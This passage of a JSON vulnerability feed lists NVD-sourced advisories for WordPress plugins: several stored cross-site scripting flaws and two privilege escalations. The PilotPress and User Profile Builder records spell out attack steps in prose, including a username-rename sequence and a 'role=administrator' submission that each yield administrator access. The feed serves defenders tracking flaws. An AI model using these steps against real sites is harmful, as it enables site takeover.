and...","summary":"The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, and including, 1.67 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce that serves as the only authorization gate is publicly printed in the [saswp-reviews-form] shortcode HTML, making it obtainable by any anonymous visitor and rendering it ineffective as an access control boundary.","detail":"The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, and including, 1.67 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce that serves as the only authorization gate is publicly printed in the [saswp-reviews-form] shortcode HTML, making it obtainable by any anonymous visitor and rendering it ineffective as an access control boundary.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:13.630Z","updatedAt":"2026-10-16T15:17:37.590Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96570","asOf":"2026-10-16T15:17:37.590Z"},"epss":{"probability":0.00314,"percentile":0.24074,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96570&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96570","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96570","type":"primary","publishedAt":"2026-10-16T06:17:13.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96570&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96570, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95809","cveId":"CVE-2026-95809","aliases":[],"kind":"vulnerability","title":"The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via...","summary":"The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via 'country_name' Location Parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The heatmap recording endpoint accepts unauthenticated requests protected only by a nonce that any visitor can freely obtain via the public opti_behavior_refresh_nonces AJAX action, removing any practical barrier to injecting the malicious payload.","detail":"The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via 'country_name' Location Parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The heatmap recording endpoint accepts unauthenticated requests protected only by a nonce that any visitor can freely obtain via the public opti_behavior_refresh_nonces AJAX action, removing any practical barrier to injecting the malicious payload.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:13.300Z","updatedAt":"2026-10-16T15:17:37.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95809","asOf":"2026-10-16T15:17:37.270Z"},"epss":{"probability":0.00247,"percentile":0.15806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95809&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95809","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95809","type":"primary","publishedAt":"2026-10-16T06:17:13.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95809&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95809, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95686","cveId":"CVE-2026-95686","aliases":[],"kind":"vulnerability","title":"The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via...","summary":"The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'targetUrl' parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The ingest endpoint is gated only by a nonce that is publicly emitted to every anonymous visitor on tracked pages via optiBehaviorHeatmapConfig.nonce, meaning no account or authentication of any kind is required to write the malicious payload.","detail":"The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'targetUrl' parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The ingest endpoint is gated only by a nonce that is publicly emitted to every anonymous visitor on tracked pages via optiBehaviorHeatmapConfig.nonce, meaning no account or authentication of any kind is required to write the malicious payload.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:12.963Z","updatedAt":"2026-10-16T15:17:37.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95686","asOf":"2026-10-16T15:17:37.160Z"},"epss":{"probability":0.00278,"percentile":0.20035,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95686&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95686","type":"primary","publishedAt":"2026-10-16T06:17:12.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95686&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95686, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89051","cveId":"CVE-2026-89051","aliases":[],"kind":"vulnerability","title":"The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to,...","summary":"The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to, and including, 7.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user clicks on the injected link.","detail":"The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to, and including, 7.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user clicks on the injected link.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:12.167Z","updatedAt":"2026-10-16T15:17:33.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89051","asOf":"2026-10-16T15:17:33.813Z"},"epss":{"probability":0.0019,"percentile":0.08584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89051","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89051","type":"primary","publishedAt":"2026-10-16T06:17:12.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85659","cveId":"CVE-2026-85659","aliases":[],"kind":"vulnerability","title":"The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43.","summary":"The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43. The vulnerability exists because the `update_cc_details()` AJAX handler forwards an attacker-supplied `username` parameter to ONTRAPORT via `api_call('update_cc_details', ...)` before performing the local `username_exists()` collision check, and aborts without rolling back the remote rename when a collision is detected — leaving the remote ONTRAPORT contact renamed to an existing WordPress Administrator's login. On a subsequent login attempt, `user_login()` (hooked to `wp_authenticate`) authenticates against ONTRAPORT using the renamed login and the attacker's own password, resolves the local WordPress user row via `get_user_by('login', $username)` — which now selects the real Administrator's row — and calls `wp_set_password()` against that Administrator's user ID; because the `user_level != 10` guard only suppresses PilotPress's own cookie issuance rather than returning a `WP_Error` to core, WordPress proceeds to validate the newly-synchronized password and issues a full Administrator authentication cookie to the attacker. This makes it possible for authenticated attackers with Subscriber-level access and above — specifically any PilotPress member holding a valid ONTRAPORT contact and the Customer Center nonce — to fully take over an Administrator account.","detail":"The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43. The vulnerability exists because the `update_cc_details()` AJAX handler forwards an attacker-supplied `username` parameter to ONTRAPORT via `api_call('update_cc_details', ...)` before performing the local `username_exists()` collision check, and aborts without rolling back the remote rename when a collision is detected — leaving the remote ONTRAPORT contact renamed to an existing WordPress Administrator's login. On a subsequent login attempt, `user_login()` (hooked to `wp_authenticate`) authenticates against ONTRAPORT using the renamed login and the attacker's own password, resolves the local WordPress user row via `get_user_by('login', $username)` — which now selects the real Administrator's row — and calls `wp_set_password()` against that Administrator's user ID; because the `user_level != 10` guard only suppresses PilotPress's own cookie issuance rather than returning a `WP_Error` to core, WordPress proceeds to validate the newly-synchronized password and issues a full Administrator authentication cookie to the attacker. This makes it possible for authenticated attackers with Subscriber-level access and above — specifically any PilotPress member holding a valid ONTRAPORT contact and the Customer Center nonce — to fully take over an Administrator account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:11.493Z","updatedAt":"2026-10-16T15:17:33.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85659","asOf":"2026-10-16T15:17:33.300Z"},"epss":{"probability":0.00356,"percentile":0.2906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85659","type":"primary","publishedAt":"2026-10-16T06:17:11.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111122","cveId":"CVE-2026-111122","aliases":[],"kind":"vulnerability","title":"The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to...","summary":"The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires the malicious comment to be approved and an administrator to subsequently open the Visual Inspector and click the attacker's anchor link, both of which are plausible interactions during routine comment triage.","detail":"The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'href' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires the malicious comment to be approved and an administrator to subsequently open the Visual Inspector and click the attacker's anchor link, both of which are plausible interactions during routine comment triage.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:09.250Z","updatedAt":"2026-10-16T15:17:13.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111122","asOf":"2026-10-16T15:17:13.390Z"},"epss":{"probability":0.00236,"percentile":0.14491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111122&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111122","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111122","type":"primary","publishedAt":"2026-10-16T06:17:09.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111122&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111122, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109513","cveId":"CVE-2026-109513","aliases":[],"kind":"vulnerability","title":"The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable...","summary":"The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has previously enabled a WordPress.org Reviews campaign and placed the notificationx-pro/notificationx dynamic block on a public page, both of which are documented, supported plugin workflows.","detail":"The NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter in all versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires that an administrator has previously enabled a WordPress.org Reviews campaign and placed the notificationx-pro/notificationx dynamic block on a public page, both of which are documented, supported plugin workflows.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:08.407Z","updatedAt":"2026-10-16T15:17:07.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109513","asOf":"2026-10-16T15:17:07.797Z"},"epss":{"probability":0.00241,"percentile":0.15077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109513&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109513","type":"primary","publishedAt":"2026-10-16T06:17:08.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109513&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109513, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109447","cveId":"CVE-2026-109447","aliases":[],"kind":"vulnerability","title":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to,...","summary":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.0.3 via the `role` parameter handled by the `wppb_add_meta_to_user_on_activation()` function. The vulnerability exists because the activation handler passes the attacker-supplied role value directly to `WP_User::set_role()` with no allow-list validation, and the 4.0.3 reserved-name check exempts pre-existing form fields from the block, allowing a legacy field with meta-name `role` to persist and bridge attacker-controlled request input into the serialized signup record stored in `wp_signups`. This makes it possible for unauthenticated attackers to gain a fully activated WordPress administrator account by submitting `role=administrator` through the public `[wppb-register]` shortcode form and subsequently clicking the confirmation activation link. Exploitation requires the site to have a legacy form field with meta-name `role` carried over from before the 4.0.3 upgrade, email confirmation enabled, and open user registration — all stable site-state conditions once established.","detail":"The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.0.3 via the `role` parameter handled by the `wppb_add_meta_to_user_on_activation()` function. The vulnerability exists because the activation handler passes the attacker-supplied role value directly to `WP_User::set_role()` with no allow-list validation, and the 4.0.3 reserved-name check exempts pre-existing form fields from the block, allowing a legacy field with meta-name `role` to persist and bridge attacker-controlled request input into the serialized signup record stored in `wp_signups`. This makes it possible for unauthenticated attackers to gain a fully activated WordPress administrator account by submitting `role=administrator` through the public `[wppb-register]` shortcode form and subsequently clicking the confirmation activation link. Exploitation requires the site to have a legacy form field with meta-name `role` carried over from before the 4.0.3 upgrade, email confirmation enabled, and open user registration — all stable site-state conditions once established.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:08.020Z","updatedAt":"2026-10-16T15:17:07.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109447","asOf":"2026-10-16T15:17:07.557Z"},"epss":{"probability":0.00335,"percentile":0.26613,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109447&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109447","type":"primary","publishedAt":"2026-10-16T06:17:08.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109447&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109447, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109232","cveId":"CVE-2026-109232","aliases":[],"kind":"vulnerability","title":"The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]'...","summary":"The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]' parameter in all versions up to, and including, 10.31.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that the site administrator has configured at least one custom checkout field of type Html or File, which is a standard documented plugin feature.","detail":"The Salon Booking System – Appointment Booking for Salons, Barbershops & Spas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sln[<checkout-field-key>]' parameter in all versions up to, and including, 10.31.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that the site administrator has configured at least one custom checkout field of type Html or File, which is a standard documented plugin feature.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T06:17:06.790Z","updatedAt":"2026-10-16T15:17:07.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109232","asOf":"2026-10-16T15:17:07.030Z"},"epss":{"probability":0.00247,"percentile":0.15806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109232","type":"primary","publishedAt":"2026-10-16T06:17:06.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107764","cveId":"CVE-2026-107764","aliases":[],"kind":"vulnerability","title":"The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including,...","summary":"The SiteOrigin CSS plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'url (comment_author_url)' parameter in all versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because WordPress core's esc_url() preserves 